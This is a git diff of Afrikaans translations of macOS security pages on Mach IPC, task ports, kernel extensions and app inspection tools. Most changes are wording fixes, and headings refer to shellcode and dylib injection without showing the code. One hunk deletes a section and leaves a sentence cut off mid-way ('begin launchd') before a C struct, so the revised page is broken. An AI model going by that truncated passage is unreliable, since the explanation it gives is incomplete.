diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 92ce17fe1..25a9ace6f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -25,7 +25,7 @@ Die XNU **kern** inkorporeer ook 'n beduidende hoeveelheid kode wat afkomstig is - Basiese sekuriteitsmeganismes, insluitend gebruiker en groep bestuur - Stelselskakel infrastruktuur - TCP/IP stapel en sokkies -- Vuurmuur en pakket filtrering +- Vuurmuur en pakketfiltrering Om die interaksie tussen BSD en Mach te verstaan, kan kompleks wees, as gevolg van hul verskillende konseptuele raamwerke. Byvoorbeeld, BSD gebruik prosesse as sy fundamentele uitvoerende eenheid, terwyl Mach werk op grond van drade. Hierdie verskil word in XNU versoen deur **elke BSD-proses te assosieer met 'n Mach-taak** wat presies een Mach-draad bevat. Wanneer BSD se fork() stelselskakel gebruik word, gebruik die BSD kode binne die kern Mach funksies om 'n taak en 'n draadstruktuur te skep. @@ -47,7 +47,7 @@ macos-iokit.md ## macOS Kernel Extensions -macOS is **super beperkend om Kernel Extensions** (.kext) te laai weens die hoë voorregte wat kode sal loop. Trouens, standaard is dit feitlik onmoontlik (tenzij 'n omseiling gevind word). +macOS is **baie beperkend om Kernel Extensions** (.kext) te laai weens die hoë voorregte wat kode sal loop. Trouens, standaard is dit feitlik onmoontlik (tenzij 'n omseiling gevind word). Op die volgende bladsy kan jy ook sien hoe om die `.kext` te herstel wat macOS binne sy **kernelcache** laai: @@ -57,7 +57,7 @@ macos-kernel-extensions.md ### macOS System Extensions -In plaas daarvan om Kernel Extensions te gebruik, het macOS die System Extensions geskep, wat in gebruikersvlak API's bied om met die kern te kommunikeer. Op hierdie manier kan ontwikkelaars vermy om kern uitbreidings te gebruik. +In plaas daarvan om Kernel Extensions te gebruik, het macOS die Stelsels Uitbreidings geskep, wat in gebruikersvlak API's bied om met die kern te kommunikeer. Op hierdie manier kan ontwikkelaars vermy om kern uitbreidings te gebruik. {{#ref}} macos-system-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 62b856130..18f31f43d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -18,13 +18,13 @@ Elke proses het 'n **IPC tabel**, waar dit moontlik is om die **mach poorte van Poort regte, wat definieer watter operasies 'n taak kan uitvoer, is sleutel tot hierdie kommunikasie. Die moontlike **poort regte** is ([definisies hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Ontvang reg**, wat die ontvangs van boodskappe wat na die poort gestuur word, toelaat. Mach poorte is MPSC (meervoudige produsent, enkele verbruiker) rye, wat beteken dat daar slegs **een ontvang reg vir elke poort** in die hele stelsel mag wees (in teenstelling met pype, waar verskeie prosesse almal lêer beskrywings na die leeskant van een pyp kan hou). -- 'n **taak met die Ontvang** reg kan boodskappe ontvang en **Stuur regte** skep, wat dit toelaat om boodskappe te stuur. Oorspronklik het slegs die **eie taak ontvang reg oor sy poort**. +- **Ontvang reg**, wat die ontvangs van boodskappe wat na die poort gestuur word, toelaat. Mach poorte is MPSC (meerdere produsente, enkele verbruiker) rye, wat beteken dat daar slegs **een ontvang reg vir elke poort** in die hele stelsel mag wees (in teenstelling met pype, waar meerdere prosesse almal lêer beskrywings na die lees einde van een pyp kan hou). +- 'n **taak met die Ontvang** reg kan boodskappe ontvang en **Stuur regte** skep, wat dit toelaat om boodskappe te stuur. Oorspronklik het slegs die **eie taak die Ontvang reg oor sy poort**. - **Stuur reg**, wat die stuur van boodskappe na die poort toelaat. -- Die Stuur reg kan **gekloneer** word sodat 'n taak wat 'n Stuur reg besit, die reg kan kloneer en **aan 'n derde taak kan toeken**. +- Die Stuur reg kan **gekloneer** word sodat 'n taak wat 'n Stuur reg besit die reg kan kloneer en **aan 'n derde taak kan toeken**. - **Stuur-eens reg**, wat die stuur van een boodskap na die poort toelaat en dan verdwyn. -- **Poort stel reg**, wat 'n _poort stel_ aandui eerder as 'n enkele poort. Om 'n boodskap van 'n poort stel te verwyder, verwyder 'n boodskap van een van die poorte wat dit bevat. Poort stelle kan gebruik word om op verskeie poorte gelyktydig te luister, baie soos `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dood naam**, wat nie 'n werklike poort reg is nie, maar bloot 'n plekhouer. Wanneer 'n poort vernietig word, draai al bestaande poort regte na die poort in dood name. +- **Poort stel reg**, wat 'n _poort stel_ aandui eerder as 'n enkele poort. Dequeuing 'n boodskap van 'n poort stel dequeues 'n boodskap van een van die poorte wat dit bevat. Poort stelle kan gebruik word om op verskeie poorte gelyktydig te luister, baie soos `select`/`poll`/`epoll`/`kqueue` in Unix. +- **Dood naam**, wat nie 'n werklike poort reg is nie, maar bloot 'n plekhouer. Wanneer 'n poort vernietig word, draai alle bestaande poort regte na die poort in dood name. **Take kan STUUR regte aan ander oordra**, wat hulle in staat stel om boodskappe terug te stuur. **STUUR regte kan ook geklonen word, sodat 'n taak die reg kan dupliceer en aan 'n derde taak kan gee**. Dit, saam met 'n intermediêre proses bekend as die **bootstrap bediener**, stel effektiewe kommunikasie tussen take in staat. @@ -40,30 +40,16 @@ Soos genoem, om die kommunikasiekanaal te vestig, is die **bootstrap bediener** 1. Taak **A** begin 'n **nuwe poort**, en verkry 'n **ONTVAAG reg** in die proses. 2. Taak **A**, as die houer van die ONTVANG reg, **genereer 'n STUUR reg vir die poort**. -3. Taak **A** vestig 'n **verbinding** met die **bootstrap bediener**, en bied die **poort se diensnaam** en die **STUUR reg** deur 'n prosedure bekend as die bootstrap registrasie. +3. Taak **A** vestig 'n **verbinding** met die **bootstrap bediener**, wat die **poort se diensnaam** en die **STUUR reg** deur 'n prosedure bekend as die bootstrap registrasie verskaf. 4. Taak **B** interaksie met die **bootstrap bediener** om 'n bootstrap **soektog vir die diens** naam uit te voer. As dit suksesvol is, **dupliseer die bediener die STUUR reg** wat van Taak A ontvang is en **stuur dit na Taak B**. 5. Na die verkryging van 'n STUUR reg, is Taak **B** in staat om 'n **boodskap** te **formuleer** en dit **na Taak A** te stuur. 6. Vir 'n bi-rigting kommunikasie genereer taak **B** gewoonlik 'n nuwe poort met 'n **ONTVAAG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie). -Die bootstrap bediener **kan nie die diensnaam wat deur 'n taak geclaim word, verifieer nie**. Dit beteken 'n **taak** kan potensieel **enige stelseltaak naboots**, soos valslik **'n magtiging diensnaam te claim** en dan elke versoek goedkeur. +Die bootstrap bediener **kan nie die diensnaam wat deur 'n taak geclaim word, verifieer nie**. Dit beteken 'n **taak** kan potensieel **enige stelsel taak naboots**, soos valslik **'n magtiging diensnaam te claim** en dan elke versoek goedkeur. -Dan, Apple stoor die **name van stelsel-geleverde dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** gidse: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diensnaam, word die **geassosieerde binêre ook gestoor**. Die bootstrap bediener sal 'n **ONTVAAG reg vir elkeen van hierdie diensname** skep en hou. +Dan, stoor Apple die **name van stelsel-gelewerde dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** gidse: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diensnaam, word die **geassosieerde binêre ook gestoor**. Die bootstrap bediener sal 'n **ONTVAAG reg vir elkeen van hierdie diensname** skep en hou. -Vir hierdie vooraf gedefinieerde dienste, verskil die **soekproses effens**. Wanneer 'n diensnaam gesoek word, begin launchd die diens dinamies. Die nuwe werksvloei is soos volg: - -- Taak **B** begin 'n bootstrap **soektog** vir 'n diensnaam. -- **launchd** kyk of die taak loop en as dit nie is nie, **begin** dit. -- Taak **A** (die diens) voer 'n **bootstrap incheck** uit. Hier, die **bootstrap** bediener skep 'n STUUR reg, hou dit, en **oordra die ONTVANG reg aan Taak A**. -- launchd dupliseer die **STUUR reg en stuur dit na Taak B**. -- Taak **B** genereer 'n nuwe poort met 'n **ONTVAAG** reg en 'n **STUUR** reg, en gee die **STUUR reg aan Taak A** (die svc) sodat dit boodskappe na TAak B kan stuur (bi-rigting kommunikasie). - -Hierdie proses geld egter slegs vir vooraf gedefinieerde stelseltaake. Nie-stelseltaake werk steeds soos oorspronklik beskryf, wat potensieel nabootsing kan toelaat. - -### 'n Mach Boodskap - -[Vind meer inligting hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -Die `mach_msg` funksie, wat essensieel 'n stelselaanroep is, word gebruik om Mach boodskappe te stuur en te ontvang. Die funksie vereis dat die boodskap wat gestuur moet word, as die aanvanklike argument. Hierdie boodskap moet begin met 'n `mach_msg_header_t` struktuur, gevolg deur die werklike boodskapinhoud. Die struktuur is soos volg gedefinieer: +Vir hierdie vooraf gedefinieerde dienste, verskil die **soek proses effens**. Wanneer 'n diensnaam gesoek word, begin launchd ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -76,7 +62,7 @@ mach_msg_id_t msgh_id; ``` Proses wat 'n _**ontvangsreg**_ besit, kan boodskappe op 'n Mach-poort ontvang. Omgekeerd, die **stuurders** word 'n _**stuur**_ of 'n _**stuur-eens reg**_ toegeken. Die stuur-eens reg is uitsluitlik vir die stuur van 'n enkele boodskap, waarna dit ongeldig word. -Om 'n maklike **tweeduidige kommunikasie** te bereik, kan 'n proses 'n **mach-poort** in die mach **boodskapkop** spesifiseer wat die _antwoordpoort_ (**`msgh_local_port`**) genoem word, waar die **ontvanger** van die boodskap 'n **antwoord** op hierdie boodskap kan **stuur**. Die bitvlagte in **`msgh_bits`** kan gebruik word om aan te dui dat 'n **stuur-eens** **reg** afgelei en oorgedra moet word vir hierdie poort (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Om 'n maklike **tweeduidige kommunikasie** te bereik, kan 'n proses 'n **mach-poort** in die mach **boodskapkop** spesifiseer wat die _antwoordpoort_ (**`msgh_local_port`**) genoem word, waar die **ontvanger** van die boodskap 'n **antwoord** op hierdie boodskap kan **stuur**. Die bitvlagte in **`msgh_bits`** kan gebruik word om aan te ** dui** dat 'n **stuur-eens** **reg** afgelei en oorgedra moet word vir hierdie poort (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] > Let daarop dat hierdie soort tweeduidige kommunikasie gebruik word in XPC-boodskappe wat 'n herhaling verwag (`xpc_connection_send_message_with_reply` en `xpc_connection_send_message_with_reply_sync`). Maar **gewoonlik word verskillende poorte geskep** soos voorheen verduidelik om die tweeduidige kommunikasie te skep. @@ -89,9 +75,9 @@ Die ander velde van die boodskapkop is: - `msgh_id`: die ID van hierdie boodskap, wat deur die ontvanger geïnterpreteer word. > [!CAUTION] -> Let daarop dat **mach-boodskappe oor 'n \_mach-poort\_** gestuur word, wat 'n **enkele ontvanger**, **meervoudige stuurder** kommunikasiekanaal is wat in die mach-kern ingebou is. **Meervoudige prosesse** kan **boodskappe** na 'n mach-poort stuur, maar op enige tydstip kan slegs **'n enkele proses lees** daarvan. +> Let daarop dat **mach boodskappe oor 'n \_mach-poort**\_ gestuur word, wat 'n **enkele ontvanger**, **meervoudige stuurder** kommunikasiekanaal is wat in die mach-kern ingebou is. **Meervoudige prosesse** kan **boodskappe stuur** na 'n mach-poort, maar op enige tydstip kan slegs **'n enkele proses lees** daarvan. -### Enumereer poorte +### Tel poorte ```bash lsmp -p ``` @@ -227,16 +213,16 @@ printf("Sent a message\n"); ### Bevoorregte Poorte -- **Gashostpoort**: As 'n proses **Send** voorreg oor hierdie poort het, kan hy **inligting** oor die **stelsel** verkry (bv. `host_processor_info`). -- **Gashostprivpoort**: 'n Proses met **Send** reg oor hierdie poort kan **bevoorregte aksies** uitvoer soos om 'n kernuitbreiding te laai. Die **proses moet root wees** om hierdie toestemming te verkry. +- **Gashostpoort**: As 'n proses **Stuur** voorreg oor hierdie poort het, kan hy **inligting** oor die **stelsel** verkry (bv. `host_processor_info`). +- **Gashostprivpoort**: 'n Proses met **Stuur** reg oor hierdie poort kan **bevoorregte aksies** uitvoer soos om 'n kernuitbreiding te laai. Die **proses moet root wees** om hierdie toestemming te verkry. - Boonop, om die **`kext_request`** API aan te roep, is dit nodig om ander regte **`com.apple.private.kext*`** te hê wat slegs aan Apple binêre gegee word. - **Taaknaampoort:** 'n Onbevoorregte weergawe van die _taakpoort_. Dit verwys na die taak, maar laat nie toe om dit te beheer nie. Die enigste ding wat blykbaar deur dit beskikbaar is, is `task_info()`. -- **Taakpoort** (ook bekend as kernpoort)**:** Met Send toestemming oor hierdie poort is dit moontlik om die taak te beheer (lees/skryf geheue, skep drade...). -- Roep `mach_task_self()` aan om die **naam** vir hierdie poort vir die oproeper taak te **kry**. Hierdie poort word slegs **geërf** oor **`exec()`**; 'n nuwe taak wat met `fork()` geskep word, kry 'n nuwe taakpoort (as 'n spesiale geval, kry 'n taak ook 'n nuwe taakpoort na `exec()` in 'n suid binêre). Die enigste manier om 'n taak te spawn en sy poort te kry, is om die ["poortruil dans"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) uit te voer terwyl 'n `fork()` gedoen word. +- **Taakpoort** (ook bekend as kernpoort)**:** Met Stuur toestemming oor hierdie poort is dit moontlik om die taak te beheer (lees/skryf geheue, skep drade...). +- Roep `mach_task_self()` aan om die **naam** vir hierdie poort vir die oproeper taak te verkry. Hierdie poort word slegs **geërf** oor **`exec()`**; 'n nuwe taak wat met `fork()` geskep word, kry 'n nuwe taakpoort (as 'n spesiale geval, kry 'n taak ook 'n nuwe taakpoort na `exec()` in 'n suid binêre). Die enigste manier om 'n taak te spawn en sy poort te verkry, is om die ["poortruil dans"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) uit te voer terwyl 'n `fork()` gedoen word. - Dit is die beperkings om toegang tot die poort te verkry (van `macos_task_policy` van die binêre `AppleMobileFileIntegrity`): - As die app die **`com.apple.security.get-task-allow` regte** het, kan prosesse van die **dieselfde gebruiker toegang tot die taakpoort** verkry (gewoonlik deur Xcode vir foutopsporing bygevoeg). Die **notariserings** proses sal dit nie toelaat vir produksievrystellings nie. - Apps met die **`com.apple.system-task-ports`** regte kan die **taakpoort vir enige** proses verkry, behalwe die kern. In ouer weergawes is dit **`task_for_pid-allow`** genoem. Dit word slegs aan Apple toepassings toegestaan. -- **Root kan toegang tot taakpoorte** van toepassings **nie** saamgecompileer met 'n **versterkte** runtime (en nie van Apple) verkry nie. +- **Root kan toegang tot taakpoorte** van toepassings **nie** saamgestel met 'n **versterkte** tydren (en nie van Apple) verkry nie. ### Shellcode Inspuiting in draad via Taakpoort @@ -292,7 +278,7 @@ return 0; {{#endtab}} {{#endtabs}} -**Compileer** die vorige program en voeg die **toelaes** by om kode met dieselfde gebruiker in te spuit (as nie, sal jy **sudo** moet gebruik). +**Kompileer** die vorige program en voeg die **toelaes** by om kode met dieselfde gebruiker in te spuit (as nie, sal jy **sudo** moet gebruik).
@@ -502,11 +488,11 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject In macOS **draad** kan gemanipuleer word via **Mach** of deur gebruik te maak van **posix `pthread` api**. Die draad wat ons in die vorige inspuiting gegenereer het, is gegenereer met die Mach api, so **dit is nie posix-konform nie**. -Dit was moontlik om **'n eenvoudige shellcode** in te spuit om 'n opdrag uit te voer omdat dit **nie met posix** konforme apis hoef te werk nie, net met Mach. **Meer komplekse inspuitings** sou vereis dat die **draad** ook **posix-konform** moet wees. +Dit was moontlik om **'n eenvoudige shellcode** in te spuit om 'n opdrag uit te voer omdat dit **nie met posix** konforme apis moes werk nie, net met Mach. **Meer komplekse inspuitings** sou vereis dat die **draad** ook **posix-konform** moet wees. Daarom, om die **draad** te **verbeter**, moet dit **`pthread_create_from_mach_thread`** aanroep wat **'n geldige pthread** sal skep. Dan kan hierdie nuwe pthread **dlopen** aanroep om **'n dylib** van die stelsel te laai, sodat dit in plaas daarvan om nuwe shellcode te skryf om verskillende aksies uit te voer, moontlik is om pasgemaakte biblioteke te laai. -Jy kan **voorbeeld dylibs** vind in (byvoorbeeld die een wat 'n log genereer en dan kan jy daarna luister): +Jy kan **voorbeeld dylibs** vind in (byvoorbeeld die een wat 'n log genereer en dan kan jy daarnaar luister): {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -802,7 +788,7 @@ In hierdie tegniek word 'n draad van die proses oor geneem: ### Basiese Inligting -XPC, wat staan vir XNU (die kern wat deur macOS gebruik word) inter-Proses Kommunikasie, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n mekanisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se sekuriteitsparadigma, wat die **skepping van privilige-geskeide toepassings** moontlik maak waar elke **komponent** loop met **slegs die regte wat dit nodig het** om sy werk te doen, en so die potensiële skade van 'n gecompromitteerde proses beperk. +XPC, wat staan vir XNU (die kern wat deur macOS gebruik word) inter-Proses Kommunikasie, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n mekanisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se sekuriteitsparadigma, wat die **skepping van privilige-geskeide toepassings** toelaat waar elke **komponent** loop met **slegs die regte wat dit nodig het** om sy werk te doen, en sodoende die potensiële skade van 'n gecompromitteerde proses beperk. Vir meer inligting oor hoe hierdie **kommunikasie werk** en hoe dit **kwulnerabel kan wees**, kyk: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index c01bb5fa6..fe83a24bb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -8,13 +8,13 @@ Kernel uitbreidings (Kexts) is **pakkette** met 'n **`.kext`** uitbreiding wat * ### Vereistes -Dit is duidelik dat dit so kragtig is dat dit **komplikasies met die laai van 'n kernuitbreiding** meebring. Dit is die **vereistes** waaraan 'n kernuitbreiding moet voldoen om gelaai te word: +Dit is duidelik dat dit so kragtig is dat dit **komplikasies het om 'n kernuitbreiding te laai**. Dit is die **vereistes** waaraan 'n kernuitbreiding moet voldoen om gelaai te word: -- Wanneer **jy herstelmodus binnegaan**, moet kern **uitbreidings toegelaat** word om gelaai te word: +- Wanneer **jy herstelmodus binnegaan**, moet kern **uitbreidings toegelaat word** om gelaai te word:
-- Die kernuitbreiding moet **onderteken wees met 'n kernkode-ondertekeningsertifikaat**, wat slegs **deur Apple** toegestaan kan word. Wie die maatskappy en die redes waarom dit nodig is, in detail sal hersien. +- Die kernuitbreiding moet **onderteken wees met 'n kernkode-ondertekeningssertifikaat**, wat slegs **deur Apple** toegestaan kan word. Wie die maatskappy en die redes waarom dit nodig is, in detail sal hersien. - Die kernuitbreiding moet ook **genotarieer wees**, Apple sal dit vir malware kan nagaan. - Dan is die **root** gebruiker die een wat die **kernuitbreiding kan laai** en die lêers binne die pakkie moet **aan root behoort**. - Tydens die oplaadproses moet die pakkie in 'n **beskermde nie-root ligging** voorberei word: `/Library/StagedExtensions` (vereis die `com.apple.rootless.storage.KernelExtensionManagement` toestemming). @@ -30,7 +30,7 @@ In Catalina was dit soos volg: Dit is interessant om op te let dat die **verifik - Dit sal met **`syspolicyd`** praat om te **kontroleer** of die uitbreiding gelaai kan word. 3. **`syspolicyd`** sal die **gebruiker** **vra** of die uitbreiding nie voorheen gelaai is nie. - **`syspolicyd`** sal die resultaat aan **`kextd`** rapporteer -4. **`kextd`** sal uiteindelik in staat wees om die **kern te vertel om** die uitbreiding te laai +4. **`kextd`** sal uiteindelik in staat wees om die **kern te sê om** die uitbreiding te laai As **`kextd`** nie beskikbaar is nie, kan **`kextutil`** dieselfde kontroles uitvoer. @@ -58,7 +58,7 @@ In my geval in macOS het ek dit gevind in: #### IMG4 -Die IMG4 lêerformaat is 'n houerformaat wat deur Apple in sy iOS en macOS toestelle gebruik word om firmware komponente (soos **kernelcache**) veilig te **stoor en te verifieer**. Die IMG4 formaat sluit 'n kop en verskeie etikette in wat verskillende stukke data kapsuleer, insluitend die werklike payload (soos 'n kern of bootloader), 'n handtekening, en 'n stel manifest eienskappe. Die formaat ondersteun kriptografiese verifikasie, wat die toestel toelaat om die egtheid en integriteit van die firmware komponent te bevestig voordat dit uitgevoer word. +Die IMG4 lêerformaat is 'n houerformaat wat deur Apple in sy iOS en macOS toestelle gebruik word om firmware komponente (soos **kernelcache**) veilig te **stoor en te verifieer**. Die IMG4 formaat sluit 'n kop en verskeie etikette in wat verskillende stukke data kapsuleer, insluitend die werklike payload (soos 'n kern of opstartlader), 'n handtekening, en 'n stel manifest eienskappe. Die formaat ondersteun kriptografiese verifikasie, wat die toestel toelaat om die egtheid en integriteit van die firmware komponent te bevestig voordat dit uitgevoer word. Dit bestaan gewoonlik uit die volgende komponente: @@ -93,9 +93,9 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -Soms vry Apple **kernelcache** met **symbols**. Jy kan 'n paar firmware met symbols aflaai deur die skakels op daardie bladsye te volg. Die firmware sal die **kernelcache** saam met ander lêers bevat. +Soms stel Apple **kernelcache** vry met **symbols**. Jy kan 'n paar firmware met symbols aflaai deur die skakels op daardie bladsye te volg. Die firmwares sal die **kernelcache** onder andere lêers bevat. -Om die lêers te **onttrek**, begin deur die uitbreiding van `.ipsw` na `.zip` te verander en dit te **ontpak**. +Om die lêers te **onttrek**, begin deur die uitbreiding van `.ipsw` na `.zip` te verander en dit te **ontzip**. Na die onttrekking van die firmware sal jy 'n lêer soos: **`kernelcache.release.iphone14`** kry. Dit is in **IMG4** formaat, jy kan die interessante inligting onttrek met: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 067a23b8c..1eebe7f8f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -4,7 +4,7 @@ ## Stelselsuitbreidings / Eindpunt Sekuriteit Raamwerk -Verskil van Kernel Uitbreidings, **Stelselsuitbreidings loop in gebruikersruimte** eerder as in kernruimte, wat die risiko van 'n stelselfout as gevolg van 'n uitbreidingsfout verminder. +Verskil met Kernel Uitbreidings, **Stelselsuitbreidings loop in gebruikersruimte** eerder as in kernruimte, wat die risiko van 'n stelselfout as gevolg van 'n uitbreiding se wanfunksie verminder.
https://knight.sc/images/system-extension-internals-1.png
@@ -22,7 +22,7 @@ Netwerk Uitbreidings bied die vermoë om netwerkgedrag aan te pas. Daar is versk - **Pakket Tunnel**: Dit word gebruik om 'n VPN-klient te skep wat 'n pakket-georiënteerde, pasgemaakte VPN-protokol implementeer. Dit beteken dit hanteer netwerkverkeer gebaseer op individuele pakkette. - **Filter Data**: Dit word gebruik om netwerk "vloei" te filter. Dit kan netwerkdata op vloei vlak monitor of wysig. - **Filter Pakket**: Dit word gebruik om individuele netwerkpakkette te filter. Dit kan netwerkdata op pakketvlak monitor of wysig. -- **DNS Proxy**: Dit word gebruik om 'n pasgemaakte DNS-verskaffer te skep. Dit kan gebruik word om DNS-versoeke en -antwoorde te monitor of te wysig. +- **DNS Proxy**: Dit word gebruik om 'n pasgemaakte DNS-verskaffer te skep. Dit kan gebruik word om DNS versoeke en antwoorde te monitor of te wysig. ## Eindpunt Sekuriteit Raamwerk @@ -30,12 +30,12 @@ Eindpunt Sekuriteit is 'n raamwerk wat deur Apple in macOS verskaf word wat 'n s Hierdie raamwerk bied 'n **versameling API's om stelselsaktiwiteit te monitor en te beheer**, soos prosesuitvoerings, lêerstelselsgebeurtenisse, netwerk- en kerngebeurtenisse. -Die kern van hierdie raamwerk is in die kern geïmplementeer, as 'n Kern Uitbreiding (KEXT) geleë by **`/System/Library/Extensions/EndpointSecurity.kext`**. Hierdie KEXT bestaan uit verskeie sleutelkomponente: +Die kern van hierdie raamwerk is in die kern geïmplementeer, as 'n Kernel Uitbreiding (KEXT) geleë by **`/System/Library/Extensions/EndpointSecurity.kext`**. Hierdie KEXT bestaan uit verskeie sleutelkomponente: - **EndpointSecurityDriver**: Dit dien as die "toegangspunt" vir die kernuitbreiding. Dit is die hoofpunt van interaksie tussen die OS en die Eindpunt Sekuriteit raamwerk. - **EndpointSecurityEventManager**: Hierdie komponent is verantwoordelik vir die implementering van kernhake. Kernhake laat die raamwerk toe om stelselsgebeurtenisse te monitor deur stelselsoproepe te onderskep. -- **EndpointSecurityClientManager**: Dit bestuur die kommunikasie met gebruikersruimte kliënte, en hou dop watter kliënte verbind is en gebeurteniskennisgewings moet ontvang. -- **EndpointSecurityMessageManager**: Dit stuur boodskappe en gebeurteniskennisgewings na gebruikersruimte kliënte. +- **EndpointSecurityClientManager**: Dit bestuur die kommunikasie met gebruikersruimte kliënte, en hou dop watter kliënte gekoppel is en gebeurtenis kennisgewings moet ontvang. +- **EndpointSecurityMessageManager**: Dit stuur boodskappe en gebeurtenis kennisgewings na gebruikersruimte kliënte. Die gebeurtenisse wat die Eindpunt Sekuriteit raamwerk kan monitor, is gekategoriseer in: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 6422973c7..a43a51dd6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -54,7 +54,7 @@ jtool2 -d __DATA.__const myipc_server | grep MIG ### Codesign / ldid -> [!TIP] > **`Codesign`** kan gevind word in **macOS** terwyl **`ldid`** gevind kan word in **iOS** +> [!TIP] > **`Codesign`** kan in **macOS** gevind word terwyl **`ldid`** in **iOS** gevind kan word ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -84,7 +84,7 @@ ldid -S/tmp/entl.xml ### SuspiciousPackage [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) is 'n hulpmiddel wat nuttig is om **.pkg** lêers (installeerders) te inspekteer en te sien wat binne is voordat dit geïnstalleer word.\ -Hierdie installeerders het `preinstall` en `postinstall` bash-skripte wat malware-skeppers gewoonlik misbruik om **te** **volhard** **in** **die** **malware**. +Hierdie installeerders het `preinstall` en `postinstall` bash-skripte wat malware-skrywers gewoonlik misbruik om **die** **malware** **te** **hou**. ### hdiutil @@ -116,14 +116,14 @@ Let daarop dat hierdie name dalk obfuskeer kan word om die omkering van die bin ### Funksie-aanroep -Wanneer 'n funksie in 'n binêre wat Objective-C gebruik, aangeroep word, sal die gecompileerde kode in plaas daarvan om daardie funksie aan te roep, **`objc_msgSend`** aanroep. Dit sal die finale funksie aanroep: +Wanneer 'n funksie in 'n binêre wat Objective-C gebruik, aangeroep word, sal die gecompileerde kode in plaas daarvan om daardie funksie aan te roep, **`objc_msgSend`** aanroep. Wat die finale funksie sal aanroep: ![](<../../../images/image (305).png>) Die parameters wat hierdie funksie verwag is: - Die eerste parameter (**self**) is "n aanwijser wat na die **instansie van die klas wat die boodskap moet ontvang** wys". Of eenvoudiger gestel, dit is die objek waarop die metode aangeroep word. As die metode 'n klasmetode is, sal dit 'n instansie van die klasobjek (as 'n geheel) wees, terwyl dit vir 'n instansiemetode, self na 'n geïnstantieerde instansie van die klas as 'n objek sal wys. -- Die tweede parameter, (**op**), is "die selektor van die metode wat die boodskap hanteer". Weereens, eenvoudiger gestel, dit is net die **naam van die metode.** +- Die tweede parameter, (**op**), is "die selektor van die metode wat die boodskap hanteer". Weer eens, eenvoudiger gestel, dit is net die **naam van die metode.** - Die oorblywende parameters is enige **waardes wat deur die metode vereis word** (op). Sien hoe om **hierdie inligting maklik te kry met `lldb` in ARM64** op hierdie bladsy: @@ -148,7 +148,7 @@ x64: ### Dynadump -[**Dynadump**](https://github.com/DerekSelander/dynadump) is 'n hulpmiddel om Objective-C binêre te klasdump. Die github spesifiseer dylibs, maar dit werk ook met uitvoerbare lêers. +[**Dynadump**](https://github.com/DerekSelander/dynadump) is 'n hulpmiddel om Objective-C binêre te klasdump. Die github spesifiseer dylibs maar dit werk ook met uitvoerbare lêers. ```bash ./dynadump dump /path/to/bin ``` @@ -164,11 +164,11 @@ objdump --macho --objc-meta-data /path/to/bin [**class-dump**](https://github.com/nygard/class-dump/) is die oorspronklike hulpmiddel om verklarings te genereer vir die klasse, kategorieë en protokolle in ObjetiveC geformateerde kode. -Dit is oud en nie onderhou nie, so dit sal waarskynlik nie behoorlik werk nie. +Dit is oud en word nie meer onderhou nie, so dit sal waarskynlik nie behoorlik werk 